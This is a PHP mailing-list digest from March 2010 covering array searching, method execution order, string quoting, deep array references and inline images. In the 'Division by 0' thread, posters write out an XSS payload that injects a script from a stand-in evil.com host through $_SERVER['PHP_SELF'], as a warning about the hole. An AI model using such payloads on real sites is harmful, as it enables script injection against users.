php-general Digest 11 Mar 2010 15:27:47 -0000 Issue 6633

Topics (messages 302688 through 302701):

Re: Array Search Not Working?
        302688 by: clancy_1.cybec.com.au

Re: Array Search Problem
        302689 by: Rene Veerman
        302696 by: Alice Wei

Re: Execution order of PHP
        302690 by: Rene Veerman
        302698 by: Auke van Slooten

Re: php string syntax question with html
        302691 by: Rene Veerman
        302692 by: Ashley Sheridan
        302694 by: Rene Veerman

changing values deep in an array by reference, with some index vars in array..
        302693 by: Rene Veerman
        302695 by: Rene Veerman

Re: Division by 0
        302697 by: Jochem Maas
        302699 by: Gary
        302700 by: Mike Roberts

Drawing Images Without Writing To a File
        302701 by: Floyd Resler

Administrivia:

To subscribe to the digest, e-mail:
        php-general-digest-subscr...@lists.php.net

To unsubscribe from the digest, e-mail:
        php-general-digest-unsubscr...@lists.php.net

To post to the list, e-mail:
        php-gene...@lists.php.net


----------------------------------------------------------------------
--- Begin Message ---
On Wed, 10 Mar 2010 09:52:30 -0500, aj...@alumni.iu.edu (Alice Wei) wrote:

>
>Hi,
>
>  I have two arrays here that I have combined into a new array, as shown here:
>
>$from = explode("-", $from);
>$change = explode("-",$change);
>$new_array = array_combine($from,$change);
>
>I then tried reading it from a file and do string matches, trying to find out 
>the "key" using the array_search of the individual array elements. I seem to 
>have no such luck, even when I copied one of the elements after I do a 
>print_r($new_array); 
>
>Here is the code,
>
>foreach ($lines2 as $line_num => $line2) { 
>$style_line_num = $line_num+3;
>
>      if(preg_match("/^style/",$line2)) {
>   
>            if(preg_match("/inkscape:label/",$lines2[$style_line_num])) {  
>            $location = explode("=",$lines2[$style_line_num]);
>            $location2 = substr($patient_location[1],1,-6);  
>                 
>             if(in_array($location2, $from)) {                  
>             $key= array_search($location2,$new_array); //Find out the 
> position of the index in the array        
>             echo "Key " . $key . "<br>";  //This only gives me a blank space 
> after the word Key
>                 
>            }     
>
>         } //end preg_match inkscape           
>   }  //If preg_match style
>
>I looked at the example from 
>http://php.net/manual/en/function.array-search.php, and looks like what I am 
>trying to do here is possible, and yet, why am I not getting a proper key 
>return?
>
>Thanks for your help.
>
>Alice

I have a very handy utility for problems like this:

// Expand string array, & list all terms
function larec($array, $name) // List array recursive
        {
        if (is_array($array))
                {
                $j = count ($array);
                $temp = array_keys($array);
                $i = 0; while ($i < $j)
                        {
                        if(isset($array[$temp[$i]]))
                                {
                                $new_line = $name."['".$temp[$i]."']";
                                larec ($array[$temp[$i]], $new_line);
                                }
                        $i++;
                        }
                }
        else
                {
                echo '<p>'.$name.' = '.$array.'</p>';
                }
        }

If you have some array $foo then larec($foo,'Foo'); will list all the elements 
of $foo
recursively, without any obvious limits.  This makes it very easy to see what 
you have
actually got, as opposed to what you thought you would get.  The following is 
an abridged
example of the result of listing an array $wkg_sys of mine, using: 

larec  ($wkg_sys,'Sys');

Sys['class'] = W

Sys['style']['0']['wkg_style'] = basic_tab
Sys['style']['0']['pad'] = 
Sys['style']['0']['stripe'] = 0
Sys['style']['1']['wkg_style'] = nrml_style
Sys['style']['1']['pad'] = 1
Sys['style']['1']['stripe'] = 0

Sys['valid'] = 1
Sys['entries'] = 15
Sys['f_title'] = Developmental Web Page
Sys['version'] = IF1.4
Sys['ident'] = 0800
Sys['directory_id'] = 0000
Sys['index'] = 2
Sys['date'] = CCY2N

Clancy

--- End Message ---
--- Begin Message ---
(almost) all the tricks are in the comments of the help page for a
function, on php.net

but all functions accept only a given (and usually documented) set of
parameter(type)s, so you'll probably have to prepare the var, or even
call the function in a loop, outputting to yet another descriptively
named array that'll be used as "wanted list" later in the code.

On Wed, Mar 10, 2010 at 6:57 PM, Alice Wei <aj...@alumni.iu.edu> wrote:
>>
>> did you read the help for those functions on php.net?
>
> Yes, I found a "recursive" way to find out the "index" like I wanted, by
> doing something like
>
> $from = explode("-", $from);
> $state_colors= explode("-", $state_colors);
> $change = explode("-",$change);
>
> $count = count($new_array);
> $i=0;
> foreach ($new_array as $key => $value){
>  echo $i . " " . $key . " is " . $value . " miles away<br />";
>  $i++;
> }
>
> You can see it is not very elegant, and plus, I created the $new_array so I
> could do the ordering according to the values of the change array. I can
> tell that since this is not a single array, which is probably why
> array_search does not work.
> Since I don't need the "value" of my "new_array" here, I am still finding
> out how to "strip off" the values here without having to flatten my array.
> Is what I am trying to do here possible? Or, is there a trick in
> array_search that I could use to find the index without having to strip off
> anything?
>
> Thanks for your help.
>
> Alice
>
>>
>> On Wed, Mar 10, 2010 at 4:12 PM, Alice Wei <aj...@alumni.iu.edu> wrote:
>> >
>> > Hi,
>> >
>> >  I have the code as shown in the following that I am trying to create
>> > the image of based on the file loaded into the file and additional edits.
>> > The problem here appears to be that no matter what value I have in the
>> > $distance_to_destination variable, it does not affect any changes on the
>> > map. What I am trying to do here is to create a map based on the pre-passed
>> > through colors of individual states from another program, but I have to
>> > match up the colors based on the values of the correct states.
>> >
>> >  I figured that I may have problems with
>> >
>> >    $key= array_search($location2,$from); //Find out the position of the
>> > index in the array
>> >
>> >    $colors_style = ";fill:" . $state_colors[$key];  //Use the index from
>> > array_search to apply to the color index
>> >
>> > Obviously, it is not applying the colors to the states that I would like
>> > other than doing it one by one as the order of what is in the $from
>> > variable. Could someone please give me some hints on how I could do the
>> > array_search here based on the "value" of the values in the
>> > $distance_to_distance and apply the color to the states?
>> >
>> > <?php
>> >
>> > header("Content-type: image/svg+xml"); //Outputting an SVG
>> >
>> > $from = $_GET['from'];
>> > $state_colors= $_GET['state_colors'];
>> > $distance_to_destination= $_GET['distance_to_destination'];
>> >
>> > $from = explode("-", $from);
>> > $state_colors= explode("-", $state_colors);
>> > $change = explode("-",$change);
>> >
>> > #Load the Map
>> > $ourFileName= "USA_Counties_with_FIPS_and_names.svg";
>> > $fh = fopen($ourFileName, "r") or die("Can't open file");
>> > $contents = fread($fh,filesize($ourFileName));
>> > $lines2= file($ourFileName);
>> >
>> > foreach ($lines2 as $line_num => $line2) {
>> >
>> > $style_line_num = $line_num+3;
>> > $line2 = trim($line2);
>> >
>> >      if(preg_match("/^style/",$line2)) {
>> >
>> >       $rest = substr($line2,0,-1);
>> >
>> >       for ($j=$line_num;$j<=$style_line_num;$j++){
>> >         if(preg_match("/inkscape:label/",$lines2[$j])) {
>> >            $location = explode("=",$lines2[$j]);
>> >            $location2 = substr($location[1],1,-6);
>> >
>> >            if(in_array($location2, $from)) {
>> >
>> >             $key= array_search($location2,$from); //Find out the
>> > position of the index in the array
>> >             $colors_style = ";fill:" . $state_colors[$key];  //Use the
>> > index from array_search to apply to the color index
>> >             $rest2 = substr($line2,0,-1). $colors_style . "\"";
>> >             echo $rest2 . "\n";
>> >            }
>> >            else echo $line2 . "\n";
>> >
>> >         } //end preg_match inkscape
>> >     } //end for loop
>> >   }  //If preg_match style
>> >
>> >     else echo $line2 . "\n"; //else if preg_match style
>> >  } //end for each
>> >
>> > fclose($fh);
>> > ?>
>> >
>> > Thanks for your help.
>> >
>> > Alice
>> >
>> > _________________________________________________________________
>> > Hotmail: Trusted email with Microsoft’s powerful SPAM protection.
>> > http://clk.atdmt.com/GBL/go/201469226/direct/01/
>
> ________________________________
> Hotmail: Powerful Free email with security by Microsoft. Get it now.

--- End Message ---
--- Begin Message ---
Hi, 

  At the time when I am writing this, looks like I already got the functions I 
needed. It turned out that I had to use some array_combine, sorting the items 
by keys instead of values as well as using array_keys to get the values I 
needed. 

Thanks for pointing me towards the right direction. 

Alice


> From: rene7...@gmail.com
> Date: Thu, 11 Mar 2010 07:12:15 +0100
> Subject: Re: [PHP] Array Search Problem
> To: aj...@alumni.iu.edu
> CC: php-gene...@lists.php.net
> 
> (almost) all the tricks are in the comments of the help page for a
> function, on php.net
> 
> but all functions accept only a given (and usually documented) set of
> parameter(type)s, so you'll probably have to prepare the var, or even
> call the function in a loop, outputting to yet another descriptively
> named array that'll be used as "wanted list" later in the code.
> 
> On Wed, Mar 10, 2010 at 6:57 PM, Alice Wei <aj...@alumni.iu.edu> wrote:
> >>
> >> did you read the help for those functions on php.net?
> >
> > Yes, I found a "recursive" way to find out the "index" like I wanted, by
> > doing something like
> >
> > $from = explode("-", $from);
> > $state_colors= explode("-", $state_colors);
> > $change = explode("-",$change);
> >
> > $count = count($new_array);
> > $i=0;
> > foreach ($new_array as $key => $value){
> >  echo $i . " " . $key . " is " . $value . " miles away<br />";
> >  $i++;
> > }
> >
> > You can see it is not very elegant, and plus, I created the $new_array so I
> > could do the ordering according to the values of the change array. I can
> > tell that since this is not a single array, which is probably why
> > array_search does not work.
> > Since I don't need the "value" of my "new_array" here, I am still finding
> > out how to "strip off" the values here without having to flatten my array.
> > Is what I am trying to do here possible? Or, is there a trick in
> > array_search that I could use to find the index without having to strip off
> > anything?
> >
> > Thanks for your help.
> >
> > Alice
> >
> >>
> >> On Wed, Mar 10, 2010 at 4:12 PM, Alice Wei <aj...@alumni.iu.edu> wrote:
> >> >
> >> > Hi,
> >> >
> >> >  I have the code as shown in the following that I am trying to create
> >> > the image of based on the file loaded into the file and additional edits.
> >> > The problem here appears to be that no matter what value I have in the
> >> > $distance_to_destination variable, it does not affect any changes on the
> >> > map. What I am trying to do here is to create a map based on the 
> >> > pre-passed
> >> > through colors of individual states from another program, but I have to
> >> > match up the colors based on the values of the correct states.
> >> >
> >> >  I figured that I may have problems with
> >> >
> >> >    $key= array_search($location2,$from); //Find out the position of the
> >> > index in the array
> >> >
> >> >    $colors_style = ";fill:" . $state_colors[$key];  //Use the index from
> >> > array_search to apply to the color index
> >> >
> >> > Obviously, it is not applying the colors to the states that I would like
> >> > other than doing it one by one as the order of what is in the $from
> >> > variable. Could someone please give me some hints on how I could do the
> >> > array_search here based on the "value" of the values in the
> >> > $distance_to_distance and apply the color to the states?
> >> >
> >> > <?php
> >> >
> >> > header("Content-type: image/svg+xml"); //Outputting an SVG
> >> >
> >> > $from = $_GET['from'];
> >> > $state_colors= $_GET['state_colors'];
> >> > $distance_to_destination= $_GET['distance_to_destination'];
> >> >
> >> > $from = explode("-", $from);
> >> > $state_colors= explode("-", $state_colors);
> >> > $change = explode("-",$change);
> >> >
> >> > #Load the Map
> >> > $ourFileName= "USA_Counties_with_FIPS_and_names.svg";
> >> > $fh = fopen($ourFileName, "r") or die("Can't open file");
> >> > $contents = fread($fh,filesize($ourFileName));
> >> > $lines2= file($ourFileName);
> >> >
> >> > foreach ($lines2 as $line_num => $line2) {
> >> >
> >> > $style_line_num = $line_num+3;
> >> > $line2 = trim($line2);
> >> >
> >> >      if(preg_match("/^style/",$line2)) {
> >> >
> >> >       $rest = substr($line2,0,-1);
> >> >
> >> >       for ($j=$line_num;$j<=$style_line_num;$j++){
> >> >         if(preg_match("/inkscape:label/",$lines2[$j])) {
> >> >            $location = explode("=",$lines2[$j]);
> >> >            $location2 = substr($location[1],1,-6);
> >> >
> >> >            if(in_array($location2, $from)) {
> >> >
> >> >             $key= array_search($location2,$from); //Find out the
> >> > position of the index in the array
> >> >             $colors_style = ";fill:" . $state_colors[$key];  //Use the
> >> > index from array_search to apply to the color index
> >> >             $rest2 = substr($line2,0,-1). $colors_style . "\"";
> >> >             echo $rest2 . "\n";
> >> >            }
> >> >            else echo $line2 . "\n";
> >> >
> >> >         } //end preg_match inkscape
> >> >     } //end for loop
> >> >   }  //If preg_match style
> >> >
> >> >     else echo $line2 . "\n"; //else if preg_match style
> >> >  } //end for each
> >> >
> >> > fclose($fh);
> >> > ?>
> >> >
> >> > Thanks for your help.
> >> >
> >> > Alice
> >> >
> >> > _________________________________________________________________
> >> > Hotmail: Trusted email with Microsoft’s powerful SPAM protection.
> >> > http://clk.atdmt.com/GBL/go/201469226/direct/01/
> >
> > ________________________________
> > Hotmail: Powerful Free email with security by Microsoft. Get it now.
                                          
_________________________________________________________________
Hotmail: Free, trusted and rich email service.
http://clk.atdmt.com/GBL/go/201469228/direct/01/

--- End Message ---
--- Begin Message ---
You may not care about this, but from a readability perspective, i
think relying on $client->system being as special as you describe, is
not very readable.

If i'd had to read code that does what you describe, i'd be much
happier to see a datastructure be passed as was suggested elsewhere in
this thread, but even more happy to see something like this:

$client->system->specificMultiCall (
  multiCallCommandCreate(array(
   0 => array('function1', 'f1p1', f1p2'),
   1 => array('function2', 'eval:f2p1', 'f2p2', 'f2p3'),
   'f2p1' => array('function3', 'f3p1', 'f3p2')
  )
);

This structure allows for calling of any chain of methods, the array
returned by multiCallCommandCreate() can be ordered, the root of this
tree is the sequentially ordered integer keys, parameters are parsed
left-to-right as usual.

multiCallCommandCreate() can then set up an array for use by
specificMultiCall(), the one returned by the collection routine for
$client->system.
The advantages of this are possibly some extra readability, but also
some more room for expansion.


On Wed, Mar 10, 2010 at 3:13 PM, Auke van Slooten <a...@muze.nl> wrote:
> Bruno Fajardo wrote:
>>
>> 2010/3/10 Auke van Slooten <a...@muze.nl>
>>>
>>> Hi,
>>>
>>> In a hobby project I'm relying on the order in which the following piece
>>> of PHP code is executed:
>>>
>>> $client->system->multiCall(
>>>  $client->methodOne(),
>>>  $client->methodTwo()
>>> );
>>
>> Can't you call the methods $client->methodOne() and
>> $client->methodTwo() before the call to $client->system->multiCall()?
>> That way, you could store they values in local variables, and then
>> pass them to the $client->system->multiCall(), assuring that those
>> methods are executed before the multiCall(). Something like:
>>
>> $methodOne = $client->methodOne();
>> $methodTwo = $client->methodTwo();
>> $client->system->multiCall($methodOne, $methodTwo);
>
> Hi,
>
> This is not what I meant. I should perhaps mention that it's an xml-rpc
> client and the method calls are remote method calls. The multiCall method
> gathers multiple method calls into a single request.
>
> The trick I'm using now is to set a private property in the $client->__get()
> method when the property you're accessing is 'system'. From then untill you
> call the method 'multiCall', instead of calling the methods (in this case
> methodOne and methodTwo) the client creates a new object with the call
> information (method name and arguments) and returns that. In multiCall all
> arguments are therefor call information objects and multicall creates a
> single request based on that information.
>
> So in your example the client would simply call methodOne and methodTwo and
> return the results. Then it would try to do a multiCall with whatever the
> previous methods have returned.
>
> regards,
> Auke van Slooten
> Muze
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>

--- End Message ---
--- Begin Message ---
Jochem Maas wrote:
Op 3/10/10 1:29 PM, Auke van Slooten schreef:
Hi,

In a hobby project I'm relying on the order in which the following piece
of PHP code is executed:

$client->system->multiCall(
  $client->methodOne(),
  $client->methodTwo()
);


but who cares. the code is full of magic, which makes it difficult to understand
and maintain ... fix it so that it's explicit about what it's doing so that
other developers who read it will grasp the concept without having to dig
into your magic methods. this solves the problem of undiscernable magic and
possible issues with resolution order in the future as well (which if they
happened would be a royal PITA to debug, given the magic methods involved)

I've decided to rewrite the API so it is more upfront about what it does. Your argument about readability, when the API is unknown, is a valid one. It now works like this:

$client->system->multiCall(
  ripcord::encodeCall('methodOne'),
  ripcord::encodeCall('methodTwo')
);

Thanks for all your input,
Auke van Slooten
Muze

--- End Message ---
--- Begin Message ---
$var = 'bla'.$var2.'doh'.$var3['index'].'argh'.$var4[$var4index];

is so much more readable in any editor that does syntax highlighting,
and parses quicker too.

On Thu, Mar 11, 2010 at 1:15 AM, David Mehler <dave.meh...@gmail.com> wrote:
> Hello,
> I've got what is probably a very simple question, probably something
> having to do with quotes single vs. double, but the answer is
> frustrating elusive, I keep getting a syntax error.
> I'm trying to customize a wordpress theme a friend sent me. We're both
> using apache as web server and php5, but his has got to be configed
> differently than mine. The theme deals with multiple stylesheet
> inclusion among other things. The original line is:
>
> $styleSheets[0]["sheet"]='<link
> href="/wp-content/themes/theme/style/white.css" rel="stylesheet"
> type="text/css" />';
>
> That code puts the <link in the head portion of the document. The
> issue is his / is not where mine is, i'm using a virtual host and need
> a line similar to this:
>
> $styleSheets[0]["sheet"]='<link href=$_SERVER['DOCUMENT_ROOT'] .
> "/wp-content/themes/theme/style/white.css" rel="stylesheet"
> type="text/css" />';
>
> I've tried this with both double quotes before the <link declaration,
> but keep getting a parse error.
> Help appreciated.
> Thanks.
> Dave.
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>

--- End Message ---
--- Begin Message ---
On Thu, 2010-03-11 at 08:03 +0100, Rene Veerman wrote:

> $var = 'bla'.$var2.'doh'.$var3['index'].'argh'.$var4[$var4index];
> 
> is so much more readable in any editor that does syntax highlighting,
> and parses quicker too.
> 
> On Thu, Mar 11, 2010 at 1:15 AM, David Mehler <dave.meh...@gmail.com> wrote:
> > Hello,
> > I've got what is probably a very simple question, probably something
> > having to do with quotes single vs. double, but the answer is
> > frustrating elusive, I keep getting a syntax error.
> > I'm trying to customize a wordpress theme a friend sent me. We're both
> > using apache as web server and php5, but his has got to be configed
> > differently than mine. The theme deals with multiple stylesheet
> > inclusion among other things. The original line is:
> >
> > $styleSheets[0]["sheet"]='<link
> > href="/wp-content/themes/theme/style/white.css" rel="stylesheet"
> > type="text/css" />';
> >
> > That code puts the <link in the head portion of the document. The
> > issue is his / is not where mine is, i'm using a virtual host and need
> > a line similar to this:
> >
> > $styleSheets[0]["sheet"]='<link href=$_SERVER['DOCUMENT_ROOT'] .
> > "/wp-content/themes/theme/style/white.css" rel="stylesheet"
> > type="text/css" />';
> >
> > I've tried this with both double quotes before the <link declaration,
> > but keep getting a parse error.
> > Help appreciated.
> > Thanks.
> > Dave.
> >
> > --
> > PHP General Mailing List (http://www.php.net/)
> > To unsubscribe, visit: http://www.php.net/unsub.php
> >
> >
> 


Good catch Paul with the quotes around the array element!

My editor highlights those strings even without me having to keep
breaking out with concatenation Rene

Thanks,
Ash
http://www.ashleysheridan.co.uk



--- End Message ---
--- Begin Message ---
Ah, ok..
Turns out mine does too ;)

So for light apps, it can be considered a coder's preference then..


On Thu, Mar 11, 2010 at 9:16 AM, Ashley Sheridan
<a...@ashleysheridan.co.uk>wrote:

>
> My editor highlights those strings even without me having to keep breaking
> out with concatenation Rene
>

--- End Message ---
--- Begin Message ---
Hi..

I've got a db-insert command array that's several levels deep..
Let's abstract this as:
$wm[$idx1][$idx2][$idx3][..etc] //$WorkMemory

Several of my helper functions need to work on the "original,
top-call_level" $wm.
So i pass it as &$wm, and have the helper function declarations accept
it as such aswell.

Some of the $idxN vars are in an array $pathToDBcmd ($idx3, $idx4,
...) in some of the helper functions.

Now i need to change a variable deep in the original, top-call_level
$wm, but with some of the required indexes in $pathToDBcmd..

I can't use something like
$wm[$idx1][$idx2][$pathToDBcmd[0]][$pathToDBcmd[1]] because i dont
know what count($pathToDBcmd) is..

Tips will be much appreciated..

--- End Message ---
--- Begin Message ---
ah, comments for
http://www.php.net/manual/en/language.references.return.php show:

-----------------------------------------------------------------------------
 php at thunder-2000 dot com
02-Feb-2007 10:31
If you want to get a part of an array to manipulate, you can use this function

function &getArrayField(&$array,$path) {
  if (!empty($path)) {
    if (empty($array[$path[0]])) return NULL;
    else return getArrayField($array[$path[0]], array_slice($path, 1));
  } else {
    return $array;
  }
}

Use it like this:

$partArray =& getArrayField($GLOBALS,array("config","modul1"));

You can manipulate $partArray and the changes are also made with $GLOBALS.
-----------------------------------------------------------------------------



On Thu, Mar 11, 2010 at 9:35 AM, Rene Veerman <rene7...@gmail.com> wrote:
> Hi..
>
> I've got a db-insert command array that's several levels deep..
> Let's abstract this as:
> $wm[$idx1][$idx2][$idx3][..etc] //$WorkMemory
>
> Several of my helper functions need to work on the "original,
> top-call_level" $wm.
> So i pass it as &$wm, and have the helper function declarations accept
> it as such aswell.
>
> Some of the $idxN vars are in an array $pathToDBcmd ($idx3, $idx4,
> ...) in some of the helper functions.
>
> Now i need to change a variable deep in the original, top-call_level
> $wm, but with some of the required indexes in $pathToDBcmd..
>
> I can't use something like
> $wm[$idx1][$idx2][$pathToDBcmd[0]][$pathToDBcmd[1]] because i dont
> know what count($pathToDBcmd) is..
>
> Tips will be much appreciated..
>

--- End Message ---
--- Begin Message ---
Op 3/10/10 11:39 PM, Daniel Egeberg schreef:
> On Wed, Mar 10, 2010 at 23:44, Dmitry Ruban <dmi...@ruban.biz> wrote:
>> Hi Jochem,
>>
>> Jochem Maas wrote:
>>>
>>> Op 3/10/10 6:23 PM, Joseph Thayne schreef:
>>>>
>>>> Looks to me like you are closing your form before you put anything in
>>>> it.  Therefore, the loan_amount is not set making the value 0.  Follow
>>>> the math, and you are dividing by 1-1.
>>>>
>>>> Change this line:
>>>>
>>>> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"></form>
>>>>
>>>> to:
>>>>
>>>> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
>>>
>>> this is a XSS waiting to happen. I can put something like the following in
>>> the request uri:
>>>
>>> index.php?" onsubmit="evil()"><script
>>> src="http://www.evil.com/evi.js";></script>
>>>
>> Apparently it's not going to work. PHP_SELF does not include query string.
>> So it is safe to use it this way.
>>
>> Regards,
>> Dmitry
> 
> No, it is not safe...
> 
> This won't work:
>   index.php?" onsubmit="evil()"><script
> src="http://www.evil.com/evi.js";></script>
> 
> But this will:
>   index.php/" onsubmit="evil()"><script
> src="http://www.evil.com/evi.js";></script>

yeah sorry, I was lax and made the query string mistake,
the issue stands though as Daniel pointed out.



> 


--- End Message ---
--- Begin Message ---
I love this place, thank you to everyone that posted, I will make changes to 
make it safer.

Thanks again to everyone.

gary


"Jochem Maas" <joc...@iamjochem.com> wrote in message 
news:4b98de7e.8020...@iamjochem.com...
> Op 3/10/10 11:39 PM, Daniel Egeberg schreef:
>> On Wed, Mar 10, 2010 at 23:44, Dmitry Ruban <dmi...@ruban.biz> wrote:
>>> Hi Jochem,
>>>
>>> Jochem Maas wrote:
>>>>
>>>> Op 3/10/10 6:23 PM, Joseph Thayne schreef:
>>>>>
>>>>> Looks to me like you are closing your form before you put anything in
>>>>> it.  Therefore, the loan_amount is not set making the value 0.  Follow
>>>>> the math, and you are dividing by 1-1.
>>>>>
>>>>> Change this line:
>>>>>
>>>>> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" 
>>>>> method="post"></form>
>>>>>
>>>>> to:
>>>>>
>>>>> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
>>>>
>>>> this is a XSS waiting to happen. I can put something like the following 
>>>> in
>>>> the request uri:
>>>>
>>>> index.php?" onsubmit="evil()"><script
>>>> src="http://www.evil.com/evi.js";></script>
>>>>
>>> Apparently it's not going to work. PHP_SELF does not include query 
>>> string.
>>> So it is safe to use it this way.
>>>
>>> Regards,
>>> Dmitry
>>
>> No, it is not safe...
>>
>> This won't work:
>>   index.php?" onsubmit="evil()"><script
>> src="http://www.evil.com/evi.js";></script>
>>
>> But this will:
>>   index.php/" onsubmit="evil()"><script
>> src="http://www.evil.com/evi.js";></script>
>
> yeah sorry, I was lax and made the query string mistake,
> the issue stands though as Daniel pointed out.
>
>
>
>>
>
>
> __________ Information from ESET Smart Security, version of virus 
> signature database 4933 (20100310) __________
>
> The message was checked by ESET Smart Security.
>
> http://www.eset.com
>
>
> 



__________ Information from ESET Smart Security, version of virus signature 
database 4933 (20100310) __________

The message was checked by ESET Smart Security.

http://www.eset.com





--- End Message ---
--- Begin Message ---
I have tried and tried, countless times to be removed from this list...
still when I go to my deleted items I can see that emails leak through.
If there is an administrator who can simply delete me ( simply because I
can not seem to do this correctly) I would greatly appreciate it. Thank
You!





 Sincerely,

 Michael Roberts
Executive Recruiter
 Corporate Staffing Services
 150 Monument Road, Suite 510
 Bala Cynwyd, PA 19004
 P 610-771-1084
 F 610-771-0390
 E mrobe...@jobscss.com
Check out my recent feature article in Professional Surveyor 12/09
edition. 
http://www.profsurv.com/magazine/article.aspx?i=70379






-----Original Message-----
From: Gary [mailto:gwp...@ptd.net] 
Sent: Thursday, March 11, 2010 7:51 AM
To: php-gene...@lists.php.net
Subject: Re: [PHP] Division by 0

I love this place, thank you to everyone that posted, I will make
changes to 
make it safer.

Thanks again to everyone.

gary


"Jochem Maas" <joc...@iamjochem.com> wrote in message 
news:4b98de7e.8020...@iamjochem.com...
> Op 3/10/10 11:39 PM, Daniel Egeberg schreef:
>> On Wed, Mar 10, 2010 at 23:44, Dmitry Ruban <dmi...@ruban.biz> wrote:
>>> Hi Jochem,
>>>
>>> Jochem Maas wrote:
>>>>
>>>> Op 3/10/10 6:23 PM, Joseph Thayne schreef:
>>>>>
>>>>> Looks to me like you are closing your form before you put anything
in
>>>>> it.  Therefore, the loan_amount is not set making the value 0.
Follow
>>>>> the math, and you are dividing by 1-1.
>>>>>
>>>>> Change this line:
>>>>>
>>>>> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" 
>>>>> method="post"></form>
>>>>>
>>>>> to:
>>>>>
>>>>> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
>>>>
>>>> this is a XSS waiting to happen. I can put something like the
following 
>>>> in
>>>> the request uri:
>>>>
>>>> index.php?" onsubmit="evil()"><script
>>>> src="http://www.evil.com/evi.js";></script>
>>>>
>>> Apparently it's not going to work. PHP_SELF does not include query 
>>> string.
>>> So it is safe to use it this way.
>>>
>>> Regards,
>>> Dmitry
>>
>> No, it is not safe...
>>
>> This won't work:
>>   index.php?" onsubmit="evil()"><script
>> src="http://www.evil.com/evi.js";></script>
>>
>> But this will:
>>   index.php/" onsubmit="evil()"><script
>> src="http://www.evil.com/evi.js";></script>
>
> yeah sorry, I was lax and made the query string mistake,
> the issue stands though as Daniel pointed out.
>
>
>
>>
>
>
> __________ Information from ESET Smart Security, version of virus 
> signature database 4933 (20100310) __________
>
> The message was checked by ESET Smart Security.
>
> http://www.eset.com
>
>
> 



__________ Information from ESET Smart Security, version of virus
signature database 4933 (20100310) __________

The message was checked by ESET Smart Security.

http://www.eset.com





-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


--- End Message ---
--- Begin Message ---
I want to draw tabs in a tab bar without having to actually write the images to 
a file.  Is it possible to generate the image and send the data back and make 
the browser think it's loading an image file?  I know this can be done by 
sending the proper headers back for an entire page, but I just want to do 
basically the same thing for just part of the page.

Thanks!
Floyd


--- End Message ---

Reply via email to